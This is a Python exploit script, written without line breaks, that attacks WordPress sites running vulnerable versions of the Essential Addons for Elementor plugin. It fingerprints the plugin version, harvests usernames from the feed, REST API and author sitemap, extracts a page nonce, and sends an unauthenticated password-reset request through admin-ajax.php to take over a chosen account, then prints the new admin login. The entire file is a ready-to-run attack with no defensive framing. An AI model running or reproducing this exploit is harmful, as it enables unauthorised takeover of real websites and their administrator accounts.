import argparse import requests import re import os from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) from bs4 import BeautifulSoup session = requests.Session() def check_version(wordpress_url): headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'} response = session.get(wordpress_url, headers=headers, verify=False) if "/front-end/css/view/general.min.css" in response.text: try: version_match = re.search(r"front-end/css/view/general\.min\.css\?ver=(\d+\.\d+\.\d+)", response.text) if version_match: version = version_match.group(1) if "5.4.0" <= version <= "5.7.1": print("Found Vulnerable Version:", version) return True else: print("Found version: "+version+" sadly not vulnerable.") exit() except Exception as e: print("Error occurred while extracting version:", str(e)) else: url = f"{wordpress_url}/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt" response = session.get(url, headers=headers, verify=False) if "Essential Addons for Elementor" not in response.text: print("Unable to find essential-addons-for-elementor-lite plugin readme.txt.") exit() for line in response.text: if line.startswith("Stable tag:"): stable_tag = line.split(":")[1].strip() # Extract the value of the stable tag print(stable_tag) if "5.4.0" <= stable_tag <= "5.7.1": print("Found Vulnerable Version:", stable_tag) return True else: print("Found version: "+stable_tag+" sadly not vulnerable.") exit() def extract_usernames(wordpress_url): try: rss_usernames = extract_usernames_rss(wordpress_url) rest_api_usernames = get_usernames_rest_api(wordpress_url) sitemap_usernames = get_usernames_sitemap(wordpress_url) rest_api2_usernames = scrape_users_via_rest_api(wordpress_url) all_usernames = list(set(rss_usernames) | set(rest_api_usernames) | set(sitemap_usernames)| set(rest_api2_usernames)) return all_usernames except Exception as e: print("Error occurred while extracting usernames:", str(e)) # Method 1: Using WordPress RSS feed def extract_usernames_rss(wordpress_url): headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'} response = session.get(f"{wordpress_url}/feed/",headers=headers,verify=False) if response.status_code == 200: soup = BeautifulSoup(response.text, "xml") try: all_usernames = [] for item in soup.find_all("item"): creator = item.find("dc:creator") if creator and creator.text: all_usernames.append(creator.text) return all_usernames except Exception as e: print(f"Failed to fetch usernames using RSS Feed. Error: {e} ") return [] else: print(f"Failed to fetch usernames using RSS Feed. Error: {response.text}") return [] # Method 2: Using WordPress REST API def get_usernames_rest_api(wordpress_url): headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'} api_url = wordpress_url + '/wp-json/wp/v2/users' response = session.get(api_url, headers=headers, verify=False) if response.status_code == 200: users = response.json() usernames = [user['slug'] for user in users] return usernames else: print(f"Failed to fetch usernames using REST API. Error: {response.text}") return [] # Method 3: Using WordPress Yoast Authors Sitemap def get_usernames_sitemap(wordpress_url): headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'} response = session.get(f"{wordpress_url}/author-sitemap.xml", headers=headers, verify=False) if response.status_code == 200: soup = BeautifulSoup(response.text, "xml") usernames = set() for loc in soup.find_all("loc"): match = re.search(r"/author/([^/]+)/?$", loc.text.strip()) if match: usernames.add(match.group(1)) return usernames else: print(f"Failed to fetch usernames using author-sitemap.xml. Error http status code "+str(response.status_code)+"") return[] # Method 4: Using the Wordpress Rest API def scrape_users_via_rest_api(wordpress_url): try: headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'} api_url = f"{wordpress_url}/?rest_route=/wp/v2/users" response = requests.get(api_url, headers=headers, verify=False) if response.status_code == 200: users = response.json() usernames = [user['slug'] for user in users] return usernames else: print(f"Failed to fetch usernames using REST Route API. Error: {response.text}") return [] except Exception as e: print("Error occurred while scraping users:", str(e)) return [] def select_username(usernames): if not usernames: print("Sorry, unable to help. No usernames found.") exit() print("Please select a username:") for i, username in enumerate(usernames): print(f"{i+1}. {username}") index = int(input("> ")) - 1 return list(usernames)[index] def extract_nonce(wordpress_url): try: url = f"{wordpress_url}/" headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'} response = session.get(url, headers=headers, verify=False) soup = BeautifulSoup(response.text, "lxml") script_tag = soup.find("script", string=lambda t: "var localize" in str(t)) script_text = script_tag.text.strip() if script_tag else "" nonce_start_index = script_text.find('"nonce":"') + 9 nonce_end_index = script_text.find('"', nonce_start_index) return script_text[nonce_start_index:nonce_end_index] except Exception as e: print("Sorry, not able to help.") exit() def send_request(wordpress_url, nonce, user, password): url = f"{wordpress_url}/wp-admin/admin-ajax.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299", "Content-Type": "application/x-www-form-urlencoded", } payload = { "action": "login_or_register_user", "eael-resetpassword-submit": "true", "page_id": "124", "widget_id": "224", "eael-resetpassword-nonce": nonce, "eael-pass1": password, "eael-pass2": password, "rp_login": user } response = session.post(url, headers=headers, data=payload, verify=False) if 'success":true' in response.text: print("All Set! You can now login using the following credentials:") print("Username: ",user) print("Password: ",password) print("Admin Url: "+wordpress_url+"/wp-admin/") else: print("Error, see html response below to debug") print(response.text) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", required=True, help="URL of the WordPress site") parser.add_argument("-p", "--password", required=True, help="Password to set for the selected username") parser.add_argument("-usr", "--username", required=False, help="Username of the user to reset if you already know it.") args = parser.parse_args() check_version(args.url) if args.username is None: try: all_usernames = extract_usernames(args.url) except Exception as e: print(f"Error extracting usernames: {e}") exit() selected_username = select_username(all_usernames) else: selected_username = args.username nonce = extract_nonce(args.url) if not nonce: print("Sorry, not able to extract the nonce") exit() print(f"Nonce value: {nonce}") print(f"Username value: {selected_username}") send_request(args.url, nonce, selected_username, args.password)